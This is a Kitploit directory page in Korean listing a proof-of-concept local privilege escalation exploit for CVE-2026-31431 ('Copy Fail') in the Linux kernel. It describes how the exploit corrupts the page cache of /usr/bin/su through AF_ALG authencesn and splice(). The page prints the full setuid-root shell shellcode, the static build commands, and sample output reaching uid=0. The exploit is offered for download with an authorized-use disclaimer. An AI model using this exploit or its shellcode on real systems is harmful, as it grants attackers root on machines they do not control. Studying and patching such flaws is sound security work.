Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
copyfail — CVE-2026-31431 (Copy Fail) PoC - authencesn AF_ALG + splice()를 통한 Linux 커널 페이지 캐시 손상 | Kitploit
도구/GitHubGitHub/smarttfoxx/copyfail
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationPayload DevelopmentBinary Exploitation
GitHubsmarttfoxx/copyfail

copyfail

CVE-2026-31431 (Copy Fail) PoC - authencesn AF_ALG + splice()를 통한 Linux 커널 페이지 캐시 손상

저장소 보기
2073개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Copy Fail - CVE-2026-31431 C 언어 PoC

CVE-2026-31431(Copy Fail)에 대한 로컬 권한 상승 익스플로잇으로, C 언어로 작성되었습니다.

작동 원리

  1. ELF 파싱: PT_LOAD 프로그램 헤더를 통해 /usr/bin/su의 엔트리 포인트 가상 주소를 파일 오프셋으로 변환합니다.
  2. AF_ALG 설정: 제로 키로 authesn(hmac(sha256),cbc(aes))에 바인딩합니다.
  3. 4바이트 페이지 캐시 쓰기: 셸코드 페이로드의 각 청크에 대해:
    • sendmsg()는 MSG_MORE 플래그와 함께 셸코드 바이트를 seqno_lo(바이트 4-7)로 포함하는 AAD를 전송합니다.
    • splice()는 대상 파일의 페이지 캐시 페이지 32바이트를 AEAD 인증 태그로 전달합니다.
    • recv()는 복호화를 트리거하고, authesn의 스크래치 쓰기가 연결된 페이지 캐시 페이지에 도달하여 제어된 4바이트를 기록합니다.
  4. 권한 상승: execl("/usr/bin/su")가 손상된 페이지 캐시를 로드합니다. 40바이트 셸코드(setuid(0) + execve("/bin/sh"))가 setuid-root로 실행됩니다.

셸코드

root@kitploit:~
xor    edi, edi            ; uid = 0
mov    eax, 105            ; sys_setuid
syscall
xor    edx, edx            ; envp = NULL
push   rdx                 ; null terminator
movabs rax, "/bin/sh"      ; "/bin/sh\0"
push   rax
mov    rdi, rsp            ; filename
push   rdx                 ; NULL (argv[1])
push   rdi                 ; argv[0]
mov    rsi, rsp            ; argv
mov    eax, 59             ; sys_execve
syscall

빌드

musl-gcc 또는 정적 링크를 지원하는 모든 C 컴파일러가 필요합니다:

root@kitploit:~
musl-gcc -static -O2 -s -o copyfail exploit.c

또는 GCC + glibc 사용 시:

root@kitploit:~
gcc -static -O2 -s -o copyfail exploit.c

사용법

root@kitploit:~
$ ./copyfail
[*] CVE-2026-31431 PoC (Copy Fail)
[*] /usr/bin/su entry @ file offset 0x78
[*] Patching page cache (40 bytes, 10 writes)
..........
[+] Executing /usr/bin/su
# id
uid=0(root) gid=1000(user) groups=1000(user)

참고 자료

  • Copy Fail: 732 Bytes to Root on Every Major Linux Distribution
  • 수정 커밋 a664bf3d
  • 커밋 72548b093ee3에서 도입됨 (2017)

면책 조항

이 개념 증명은 승인된 보안 연구 및 교육 목적으로만 제공됩니다. 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에 대한 무단 사용은 불법입니다.

도구 다운로드